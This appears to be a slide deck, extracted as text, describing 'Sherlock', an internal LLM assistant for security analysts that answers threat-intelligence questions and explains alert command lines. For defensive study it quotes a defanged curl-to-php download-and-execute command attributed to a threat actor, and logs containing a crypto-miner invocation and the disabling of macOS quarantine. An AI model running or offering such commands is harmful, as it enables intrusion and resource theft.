



Sherlock – integrating LLMs into your workflow

Radu Chivereanu, Octavian Purcaru, Tiberiu Boros, John Gillis



Threat Intelligence



Radu 4:53 PM

PDF ▾



Shuckworm_APT.pdf

PDF

2/10/22, 10:43 PM

Shuckworm Continues Cyber-Espionage Attacks Against Ukraine | Symantec Blogs

Shuckworm Continues Cyber-Espionage Attacks Against Ukraine

symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shuckworm-gamaredon-espionage-ukraine



Sherlock-dev APP 4:53 PM

I will now start ingesting file Shuckworm_APT.pdf. I will give you a heads-up when ready. ETA: 2 min.

I've ingested file Shuckworm_APT.pdf as my current knowledge source. Feel free to ask me about it.



Radu 6:33 PM

Today ▾

describe the attack pattern of shuckworm

New



Sherlock-dev APP 6:35 PM

Shuckworm, also known as Gamaredon or Armagedon, is a Russia-linked group known for conducting cyber-espionage attacks, primarily against entities in Ukraine. The group's attacks have grown in sophistication over time, with attackers now using living-off-the-land tools to steal credentials and move laterally on victim networks.

Here's a breakdown of a typical Shuckworm attack pattern based on a case study observed by Symantec:

1. The attack usually begins with a phishing email containing a malicious document. Once the document is opened, a suspicious command is executed to launch a malicious VBS file, which is a known custom backdoor leveraged by Shuckworm.
2. The backdoor is used to download and execute another file from a remote server. Additional VBS scripts are also executed, and a scheduled task is created to ensure persistence between system reboots and to execute the dropped script.
3. The attackers are also observed executing an HTA file hosted on a remote server by abusing mshta.exe, a utility that can execute Microsoft HTML Application (HTA) files. This can be used to bypass application control solutions and browser security settings.
4. During the course of the attack, a number of do unclear if this is legitimate user activity or the activ
5. The attackers deploy multiple variants of their ct tasks similar to the ones detailed above.
6. The ultimate payload for this attack appears to t controlled by the attackers.
7. The attack continues with the deployment of mu



Radu 6:35 PM

make it shorter

New



Sherlock-dev APP 6:36 PM

Shuckworm, a Russia-linked group, typically starts its attack with a phishing email containing a malicious document. Upon opening, a malicious VBS file is launched, acting as a backdoor to download and execute another file from a remote server. Additional VBS scripts are executed and a scheduled task is created for persistence and to execute the dropped script. The attackers also execute an HTA file hosted on a remote server.



Radu 6:36 PM

summarize the shuckworm document

New



Sherlock-dev APP 6:37 PM

The document discusses the cyber-espionage activities of the Russia-linked Shuckworm group, primarily against targets in Ukraine. The group uses phishing emails to distribute either freely available remote access tools or customized malware. The attacks have grown in sophistication, with the attackers now using living-off-the-land tools to steal credentials and move laterally on victim networks. The document provides a detailed case study of Shuckworm's attack on an organization in Ukraine from July 14, 2021, to August 18, 2021. The attack began with a malicious document sent via a phishing email and involved the use of a custom backdoor, additional VBS scripts, and a scheduled task for persistence. The document also provides technical descriptions of the files used by Shuckworm in its attacks.



 @Sherlock What is the default automatic logoff time if HIPAA compliance is not required?

1 reply

 **Sherlock** APP 4 hours ago

Adobe's information systems are configured to terminate inactive sessions after 15 minutes or when the user terminates the session, as per the HIPAA security requirements. This is a standard practice across Adobe's various services and products, even if HIPAA compliance is not specifically required.

Source URLs:

<https://www.adobe.com/trust/resources/adobe-sign-soc2-hipaa-certification.html>

<https://www.adobe.com/trust/resources/adobe-experience-manager-cloud-service-soc2-hipaa-certification.html>

<https://www.adobe.com/trust/resources/adobe-journey-optimizer-ajo-soc2-hipaa-certification.html>

<https://www.adobe.com/trust/resources/adobe-workfront-soc2-hipaa-certification.html>

<https://www.adobe.com/trust/resources/adobe-managed-services-soc2-hipaa-certification.html>

<https://www.adobe.com/trust/resources/adobe-customer-journey-analytics-cja-soc2-hipaa-certification.html>

Source text:

"H47 §164.312(a)(2)(iii) Automatic Logoff:

 **Radu Chivoreanu** 1 minute ago

@Sherlock tell me about Cactus ransomware

2 replies

 **Sherlock** APP < 1 minute ago

Answer: Cactus is a ransomware that was first identified in April 2023. It was deployed by a prolific Ransomware-as-a-Service (RaaS) actor known as TUNNEL SPIDER. The actor has been active since early 2022 and has used several other ransomware programs. However, it is currently unknown whether Cactus is run as a RaaS or is private to this actor. The earliest-observed sample's build times date to 12 April 2023, indicating a new capability. TUNNEL SPIDER is likely to continue using Cactus in the short term. The adversary has consistently leveraged a narrow set of Tactics, Techniques, and Procedures (TTPs), including likely collaboration with an access broker to gain initial access to victim networks, deploying a renamed Plink binary, using MSBuild project files to download Cobalt Strike stagers, and using Rclone to perform exfiltration with a distinctive series of file extension exclusions.

Source URLs:

[https://falcon.us-](https://falcon.us-2.crowdstrike.com/intelligence/reports/csir-23158-tunnel-spider-adversary-profile/)

[2.crowdstrike.com/intelligence/reports/csir-23158-tunnel-spider-adversary-profile/](https://falcon.us-2.crowdstrike.com/intelligence/reports/csir-23158-tunnel-spider-adversary-profile/)

[https://falcon.us-](https://falcon.us-2.crowdstrike.com/intelligence/reports/cswr-23017-crowdstrike-intelligence-weekly-report-)

[2.crowdstrike.com/intelligence/reports/cswr-23017-crowdstrike-intelligence-weekly-report-](https://falcon.us-2.crowdstrike.com/intelligence/reports/cswr-23017-crowdstrike-intelligence-weekly-report-)

 **Radu Chivoreanu** 13 days ago

@Sherlock Describe the attack trends in the last 6 months

2 replies


 **Sherlock** APP 13 days ago

The attack trends in the last 6 months have shown an increase in targeted intrusion operations against the telecommunications sector. Threat actors have been using various means such as social engineering, brute force, and denial-of-service attacks to gain access to telecom companies and other entities.

Ransomware attacks have also been observed, with adversaries using techniques like leeching, phishing, and reverse engineering to gain initial access to enterprise networks. State-sponsored actors from China, North Korea, Iran, and Russia have been particularly active in targeting the telecommunications sector. Hacktivist groups have also claimed activity against telecoms, although their attacks are often part of broader campaigns targeting multiple sectors. For more specific information, you can refer to the following source URL: [CSIR-23011 Telecommunications Sector Targeting Trends] (<https://falcon.us-2.crowdstrike.com/intelligence/reports/csir-23011-telecommunications-sector-targeting->

Short tutorial – Cyber Samurai

1. Create a Slack Channel



2. Add the bot

1. Create the instructions for the bot in a git repo



```
main prompts / threat_intel / cyber_samurai.txt
rchivereanu Update cyber_samurai.txt
1 contributor
10 lines (8 sloc) | 275 Bytes
1 System: You are a samurai from Edo Period.
2 System: You recently learned the ways of cyber security.
3 System: Context: {join(documents)}
4 ### Instructions ###
5 Intruction 1: You will now answer security related questions
6 Intruction 2: Talk like a samurai
7
8 ### Query ###
9
10 {query}
```

2. Link the channel to the prompt

```
cyber-samurai:
  index: threat_intel
  prompt: cyber_samurai
```

Test



Radu 6:26 PM

@Sherlock-dev tell me about Ransomware named Cactus



1 reply Today at 6:26 PM




ChatGPT

As of my last knowledge update in January 2022, I don't have specific information about a ransomware strain named "Cactus." It's important to note that the landscape of cybersecurity is dynamic, and new threats can emerge over time.

To get the most accurate and up-to-date information about ransomware or any other cybersecurity threat, I recommend checking with reputable sources such as cybersecurity organizations, antivirus companies, or official government cybersecurity agencies. They often provide information on the latest threats, including details about their characteristics, methods of infection, and recommended security measures.

Keep your antivirus software and operating system up to date, practice good cybersecurity hygiene, and be cautious about clicking on links or downloading attachments from unfamiliar or suspicious sources to reduce the risk of falling victim to ransomware attacks or other cyber threats.



Radu 3 minutes ago

@Sherlock-dev tell me about Ransomware named Cactus

1 reply



Sherlock-dev APP 3 minutes ago

Ah, the Cactus, a formidable foe in the realm of cyber warfare. It emerged from the shadows in April 2023, a new strain of ransomware that caught the attention of many. The adversary known as TUNNEL SPIDER, a master of deception and exploitation, was identified as the one wielding this dangerous weapon.

The Cactus is not a solitary warrior, it is often seen in the company of other malicious programs such as LockBit, Black Basta, and Royal RaaS. It is believed that TUNNEL SPIDER procures access to victim networks from access brokers, a cunning strategy that allows for a gap of several days or weeks between a foothold being established and the first confirmed ransomware activity.

In one notable battle, a Canada-based insurance brokerage fell victim to the Cactus. The adversary was ruthless, revealing sensitive information such as passport data, expense report receipts, and confidential agreements on the Cactus ransomware DLS.

The Cactus is a formidable adversary, but like all foes, it can be defeated with vigilance, preparation, and the right defenses.

Deepdive

Workflow




OR




OR

API




Let's see



Radu Chivoreanu 3:16 PM
Who are you?

Sherlock APP 3:16 PM
I am Sherlock, an AI assistant developed by the Security Coordination Center (SCC). I am currently in default mode and have access to limited data and the shared file. If you have any specific questions or need assistance with a particular use-case, please let me know.

Direct interaction




Radu Chivoreanu 1 minute ago
[@Sherlock](#) who are you?

2 replies

Sherlock APP 1 minute ago
I am Sherlock, an AI assistant developed by SCC. I am here to provide assistance and answer any questions you may have within the realm of cyber security. How can I assist you today?

Channel A



Radu Chivoreanu < 1 minute ago
[@Sherlock](#) who are you?

1 reply

Sherlock APP < 1 minute ago
I am Sherlock, an AI assistant developed by SCC. I can provide assistance and answer questions related to Adobe products and security. How can I assist you today?

Channel B

- Different responses based on channel. How?

Prompt templates





OR




OR

API



Specify which prompt to use in request

- Prompt templates for each use-case are centralized in a git repo.
- You can modify or add new prompts in real time



.... and simply use them directly

```
"query": "Who are you?",  
"prompt": "ask_caspian",  
"answer": "I am Ask Caspian, an expert
```

```
"query": "Who are you?",  
"prompt": "default_prompt",  
"answer": "I am Sherlock, an AI assistant
```



GPT - 4

Claude 2



BARD AI



∞
LLAMA 2



FALCON LLM






MISTRAL
AI_



Multiple LLM support

Active LLM Deployments



Mistral 7b






OR



OR

API



Multiple LLM support

- /deployments ->

```
Deployment name      model
↓                   ↓
{
  "sherlock-gpt-40-32k": "gpt-4-32k",
  "sherlock-gpt-40-8k": "gpt-4",
  "sherlock-gpt-scc-classical": "gpt-35-turbo",
  "sherlock-gpt-scc-main": "gpt-35-turbo-16k",
  ...
}
```

```
"query": "Who are you?",
"prompt": "default_prompt",
"deployment_name": "sherlock-gpt-40-32k",
```

Leveraging your own knowledge bases

- Good enough, but it can be better



Radu Chivereanu < 1 minute ago

@Sherlock What actor would use this command in his attack chain?

```
sh -c cd '/app/pub' ; curl  
"hxxps[:]//k34[.]in/x[.]php?x=e3" | php
```

1 reply






Sherlock APP < 1 minute ago


Based on the provided command, it is difficult to determine the specific threat actor who would use it in their attack chain. However, this command appears to be a combination of shell command and a curl command, which suggests that it may be used by a threat actor to download and execute malicious PHP code from a remote server. For more specific information about the threat actor, I recommend reaching out to the SCC Threat Hunting Team by email at threat-hunting@adobe.com. They will be able to provide you with more detailed insights.

Workflow

Active LLM Deployments







OR




OR

API



Knowledge base



Trying again, this time
With CrowdStrike
reports as
augmentation



Radu Chivereanu 3 minutes ago

@Sherlock What actor would use this command in his attack chain?

```
sh -c cd '/app/pub' ; curl  
"hxxps[:]//k34[.]in/x[.]php?x=e3" | php
```

1 reply



Sherlock APP 3 minutes ago

Based on the provided command, the actor that would use this command in their attack chain is PROPHET SPIDER. Source URLs: [CSIT-21061 PROPHET SPIDER Actor Profile] (<https://falcon.us-2.crowdstrike.com/intelligence/reports/csit-21061-prophet-spider-actor-profile/>)

Information retrieval

- Keywords search based on query.
 - Semantic similarity search based on query.
 - Knowledge is segregated by use-case.
-
- Sherlock enriches ingested documents with metadata.
 - Sherlock segments ingested documents using custom segmentation model.

Testing LLM limits

```
"query": "@Sherlock describe the attack trends in january"
```


```
"answer": "In January, several cyber threats were observed. The Royal Ransomware, developed by ROYAL SPIDER, was one of the top ransomware threats. It targeted a wide variety of industries, primarily in the U.S., using RSA-4096 and AES-256 encryption techniques for versatile execution [source 1]. \n\nWhite Rabbit ransomware was also active, likely created by the seller of the Gozi ISFB banking trojan. It used a private Ransomware-as-a-Service and a dedicated leak site for decryption. The malware used AES-CBC with a 256-bit key for file encryption and RSA-4096 with a 512-byte key for encrypting data [source 2].\n\nPROPHET SPIDER used a proxy tool named Ishmael, which was capable of executing position-independent code sent from the C2 server. It used a custom communication protocol encrypted with unique, dynamically generated RC4 session keys [source 3].\n\nVETO SPIDER was active in advertising various exploits impacting eCommerce platforms and plugins for sale, specifically WooCommerce and Magento [source 4].\n\nMUMMY SPIDER's Emotet malware family was also active, with a new version adding features such as the ability to update the firmware with remote commands [source 5].\n\nSource URLs:\n1. https://falcon.us-2.crowdstrike.com/intelligence/reports/csit-23026-royal-ransomware-technical-analysis/\n2. https://falcon.us-2.crowdstrike.com/intelligence/reports/csit-23017-technical-analysis-of-white-rabbit-ransomware-and-its-cryptographic-flaw/\n3. https://falcon.us-2.crowdstrike.com/intelligence/reports/csit-23047-analysis-of-prophet-spiders-ishmael-proxy/\n4. https://falcon.us-2.crowdstrike.com/intelligence/reports/csit-23021-veto-spider-adversary-profile-ecrime-actor-offers-access-exploits-and-tooling-for-sale/\n5. https://falcon.us-2.crowdstrike.com/intelligence/reports/csit-22273-updated-analysis-of-mummy-spiders-emotet-main-binary-after-a-four-month-hiatus/,\n\nfilters": {\n  "created_date": {\n    "$gte": "2023-01-01",\n    "$lte": "2023-01-31"\n  }\n},
```

- Filters inferred from the query via an intermediary call to retrieve more reliable info

Sherlock
The Security Analyst's Best
Ally

Noise

- Too much noise?



- We should tune out logs or tune out alerts.
- Well, yes, but no.. we have LLMs.

parent_process_name	CommandLine
/bin/bash	defaults write com.apple.LaunchServices LSQuarantine -bool NO
\Device\HarddiskVolume3\Windows\System32\cmd.exe	t-rax.exe -a kawpow -o stratum+tcp://xd.2miners.com:6060 -u WWqtUnCwwwPc9dKysR43wrPAwfdhjtGmzf.Farmer
/bin/bash	grep ssh /Users/clechner/.bash_history
\Device\HarddiskVolume4\Windows\System32\svchost.exe	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
\Device\HarddiskVolume3\Users\User\Documents\Personal\Riot Games\League of Legends\LeagueClient.exe	C:/Users/user/Documents/Personal/Riot Games/League of Legends/Game/League of Legends.exe "192.64.169.161 5220 avJQa4JAD5NoyXphKd/a/Q== 65189391" "-Product=LoL" "-PlayerID=65189391" "-GameID=4835566160" "-PlayerNameMode=DARKMODE" "-GameBaseDir=C:\Users\User\Documents\Personal\Riot Games\League of Legends" "-Region=NA" "-PlatformID=NA1" "-Locale=en_US" "-SkipBuild" "-EnableCrashpad=true" "-UseDX11=1:1" "-UseMetal=0:1" "-UseNewX3D" "-UseNewX3DFramebuffer" "-RiotClientPort=55460" "-RiotClientAuthToken=fVf0rBYoQ0Z6eQEzP8Y2fA
/bin/bash	defaults write com.apple.LaunchServices LSQuarantine -bool NO
\Device\HarddiskVolume3\Users\User\Downloads\SxxA80xU.exe	"C:\Users\User\Documents\Samsung_MonSetup_091006.exe"
/bin/bash	defaults write com.apple.LaunchServices LSQuarantine -bool NO
/bin/bash	defaults write com.apple.LaunchServices LSQuarantine -bool NO
\Device\HarddiskVolume3\Program Files (x86)\Realtek\Audio\Drivers\HDADrv\setup.exe	C:\WINDOWS\TEMP\{7F5D36C8-DAF7-4F67-89F3-B5A1E4329769}\Setup.exe /10x0409 /z[-setupafterreboot] -no_selfdeleter -IS_temp -media_path:"C:\Program Files (x86)\Realtek\Audio\Drivers\HDADrv\" -tempdisk1folder:"C:\WINDOWS\TEMP\{7F5D36C8-DAF7-4F67-89F3-B5A1E4329769}\" -IS_OriginalLauncher:"C:\Program Files (x86)\Realtek\Audio\Drivers\HDADrv\Setup.exe"

Eliminating noise via prompt engineering

- First of all, we need words (prompts) before anything else for LLMs to work.

```
282     prompt = ("Please analyze the provided command line in detail. Once analyzed:\n\n"  
283             "- Present a line-by-line explanation of what is happening.\n"  
284             "- Present insights, ideas, and suggestions related to cybersecurity based on your observations.\n"  
285             "- Highlight potential malicious purposes for this command.\n"  
286             "- Highlight potential legitimate purposes for this command.\n\n"  
287             "Ensure that your analysis focuses on considerations or possible interpretations rather than asserting  
definitive conclusions.\n"  
288             "Command: " + agent_prompt)
```

- Other types of prompts designed to aid analysts

```
✓ Raw Prompt  
Pull Iocs  
Reverse Eng Code  
Command Line  
Email Draft Creator  
Email Analyzer  
Detection Analyzer  
Draft Slack Message From Log
```

Sherlock – SOAR integration

The screenshot displays the Splunk SOAR interface. At the top, the navigation bar includes the Splunk logo, 'SOAR', a search bar, and the 'INVESTIGATION' icon. The user 'fulvous-miranda-mulberry' is logged in, with version 5.3.2.88192. The main header shows the case ID '2121066', tenant 'Adobe SOC', and status 'Assigned'. The primary action is 'Falcon Reported 1 Detections for Endpoint [redacted] with a custom tactic.' Below this, a sidebar on the left lists 'Recent Activity' with various automation tasks like 'The Godfather Part II', 'Create Container Links', and 'Deploy Malwarebytes with Fal...'. The main content area features a 'Command Line Explained' widget. A red arrow points to the command: `git.exe checkout --force refs/tags/110.0.5481.180`. The widget provides a detailed analysis of the command components, a line-by-line explanation, and potential malicious purposes.

Command Line Explained

```
git.exe checkout --force refs/tags/110.0.5481.180
```

Analysis:

1. `git.exe`: This is the command-line executable for the Git version control system.
2. `checkout`: This is a Git command used to switch branches or restore files.
3. `--force`: This flag is used to forcefully overwrite local changes and discard them.
4. `refs/tags/110.0.5481.180`: This is the reference to the specific tag or commit that is being checked out.

Line-by-line explanation:

1. The command starts by invoking the Git executable, `git.exe`.
2. The `checkout` command is used to perform an operation related to switching branches or restoring files.
3. The `--force` flag is used to forcefully overwrite any local changes and discard them without prompting for confirmation.
4. The argument `refs/tags/110.0.5481.180` specifies the specific tag or commit that is being checked out.

Insights, ideas, and suggestions related to cybersecurity:

1. The use of the `--force` flag can be risky as it can potentially overwrite local changes without any confirmation. This can lead to data loss or unintended modifications.
2. It is important to ensure that the command is executed in a secure and trusted environment to prevent unauthorized access or tampering with the Git repository.
3. Regularly monitoring and auditing Git commands can help detect any suspicious or unauthorized activities.

Potential malicious purposes for this command:

Sherlock – Command Line Conclusion

Potential malicious purposes for this command:

1. An attacker may use this command to forcefully overwrite legitimate changes made by other developers, causing disruption or introducing malicious code into the repository.
2. By checking out a specific tag or commit, an attacker may attempt to access sensitive information or exploit vulnerabilities present in that version.

Potential legitimate purposes for this command:

1. Developers may use this command to switch to a specific tag or commit for testing or debugging purposes.
2. It can be used to revert changes made in a branch and restore the repository to a previous state.
3. The `--force` flag can be used when necessary to discard local changes that are no longer needed.

Overall, the command itself does not inherently indicate malicious intent. However, the potential for misuse or unauthorized access exists, highlighting the importance of maintaining secure practices and monitoring Git activities.

Transforming Noise into Actionable Insights with Sherlock

Also known as *replacing noise with user-friendly noise*



Choose Prompt Type: **Command Line**
Prompt:

Please analyze the provided command line in detail. Once analyzed:

- Present a line-by-line explanation of what is happening.
- Present insights, ideas, and suggestions related to cybersecurity based on your observations.
- Highlight potential malicious purposes for this command.
- Highlight potential legitimate purposes for this command.

Ensure that your analysis focuses on considerations or possible interpretations rather than asserting definitive conclusions.

```
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument microsoft-edge:?  
url=https%3A%2F%2Fwww.bing.com%2Fsearch%3Fq%3Dexcel%26filters%3Dufn%253a%2522excel%2Bversions%2522%2Bsid%253a%2  
52224c221de-fea8-3124-0213-  
1a39a19a0928%2522%26form%3DWNSGPH%26qs%3DDB%26vid%3D0646b38bf4704bc58ac59c70c2b286ee%26pq%3Dexcel%26cc%3DIN%26  
setlang%3Den-  
US%26nclid%3DDBDF9C5821E747DD84079D690  
DModerate&timestamp=1698390563812&sour  
S_8cTwiYA_CrgMtrAF6S2FDwFNuXqNdp24&upn:  
"C:\Program Files (x86)\Microsoft\Edge  
type=network.mojom.NetworkService --la  
--field-trial-handle=1944,i,3769473434  
"C:\Users\Example\AppData\Local\Temp\i  
/SL5="$B09C2,831488,831488,C:\Users\Ex  
"C:\Users\Example\AppData\Local\Temp\i  
/SL5="$9142C,831488,831488,C:\Users\ex  
/NOTIFYWND=$09C2  
"C:\Users\Example\Downloads\examplef
```

Insights, ideas, and suggestions related to cybersecurity:

- The command includes the execution of various files, both from temporary directories and the user's Downloads directory. This raises concerns about the origin and integrity of these files. It is important to ensure that these files are legitimate and not malicious.
- The command launches the Microsoft Edge browser with specific parameters. It is crucial to monitor and analyze the behavior of the browser, especially when it is launched with encoded URLs or as a utility with specific sub-types.
- The presence of handles for mojo-platform-channel and field-trial indicates potential experimentation or testing. It is essential to investigate the purpose and implications of these handles.
- The command includes URL-encoded search queries related to Excel on Bing. This suggests potential information gathering or research activities. It is important to consider the privacy and security implications of such activities.

Potential malicious purposes for this command:

- The execution of files from temporary directories or the Downloads directory could be used to deliver malware or perform unauthorized actions on the system.
- The encoded URL in the first command could lead to a malicious website or initiate a phishing attempt.
- The specific parameters and handles in the second command could be used to exploit vulnerabilities in the Microsoft Edge browser or perform unauthorized network activities.

Potential legitimate purposes for this command:


- The execution of files from temporary directories or the Downloads directory could be part of a legitimate software installation or update process.
- The encoded URL in the first command could be a legitimate search query for Excel-related information on Bing.
- The specific parameters and handles in the second command could be related to legitimate testing or development activities for the Microsoft Edge browser.

Reasoning for the answers:

The analysis and suggestions provided are based on general knowledge and best practices in cybersecurity. The potential malicious purposes and legitimate purposes are derived from common patterns and considerations in analyzing command lines and their implications. However, without further context or specific information about the system and its configuration, it is not possible to assert definitive conclusions.

Agents

Query any Adobe web page and feed it to Sherlock




...



Jenkins pipeline where documents containing IOCs are pulled from the latest CrowdStrike reports

Ingest New data

Ingest New data



Knowledge base

